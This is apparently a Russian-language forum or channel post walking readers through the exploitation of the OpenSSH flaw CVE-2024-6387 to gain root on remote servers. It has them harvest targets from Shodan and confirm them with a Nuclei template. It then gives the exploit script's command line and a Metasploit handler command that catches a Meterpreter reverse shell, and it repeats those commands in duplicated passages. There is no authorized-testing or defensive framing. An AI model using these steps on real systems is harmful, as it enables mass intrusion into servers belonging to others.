Уязвимость CVE-2024-6387 в OpenSSH стала одной из самых обсуждаемых тем в сфере кибербезопасности. Эта критическая уязвимость позволяет получить удаленный доступ к серверу с привилегиями root. В этой статье мы разберем, как найти уязвимые устройства, проверить их на наличие уязвимости и применить эксплойт для получения доступа.
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Где:
example.com — домен или IP-адрес уязвимого сервера.
-p 22 — порт SSH (по умолчанию 22).
-n eth0 — сетевая карта, через которую будет происходить атака.
Для этого нужно сначала настроить обработчик в Metasploit Framework:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Где:
{yourip} — IP-адрес вашей машины, на которой запущен Metasploit.
LPORT 9999 — порт, на котором Metasploit будет ожидать подключения.
После этого можно запустить эксплойт, который отправит обратный shell на ваш обработчик.
1: Поиск уязвимых устройств через Shodan
Для начала нам нужно найти устройства, которые могут быть уязвимы к CVE-2024-6387. Для этого воспользуемся сервисом Shodan, который позволяет искать устройства с открытыми портами и определенными характеристиками.Запрос в Shodan: port:22 product:"OpenSSH"
Не удалось прогрузить медиа
Не удалось прогрузить медиа
2: Проверка уязвимости с помощью Nuclei
После того как мы нашли потенциальные цели, собираем айпишники и кидаем их в txt, после нужно убедиться, что они действительно уязвимы. Для этого воспользуемся сканером Nuclei, который позволяет автоматизировать проверку уязвимостей с помощью шаблонов.Команда для Nuclei: nuclei -t cve-2024-6387.yaml -l sshtagets.txt
Где:- cve-2024-6387.yaml — шаблон для проверки уязвимости CVE-2024-6387.(https://raw.githubusercontent.com/BrandonLynch2402/cve-2024-6387-nuclei-template/refs/heads/main/CVE-2024-6387.yaml)
- sshtagets.txt — файл с IP-адресами, которые мы нашли через Shodan.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
3: Запуск эксплойта и процесс эксплуатации
Теперь, когда мы нашли уязвимые устройства и подтвердили их статус с помощью Nuclei, можно перейти к следующему шагу — запуску эксплойта.Запуск эксплойта
Для эксплуатации уязвимости CVE-2024-6387 можно использовать готовый скрипт на Python(https://github.com/Karmakstylez/CVE-2024-6387.git). . Вот команда для его запуска:python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Где:
example.com — домен или IP-адрес уязвимого сервера.
-p 22 — порт SSH (по умолчанию 22).
-n eth0 — сетевая карта, через которую будет происходить атака.
Ловля полезной нагрузки
Чтобы получить полный контроль над сервером, атакующий может использовать метерпретер — полезную нагрузку, которая предоставляет интерактивный shell и множество возможностей для управления системой.Для этого нужно сначала настроить обработчик в Metasploit Framework:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Где:
{yourip} — IP-адрес вашей машины, на которой запущен Metasploit.
LPORT 9999 — порт, на котором Metasploit будет ожидать подключения.
После этого можно запустить эксплойт, который отправит обратный shell на ваш обработчик.
👍7
👏1
LIMB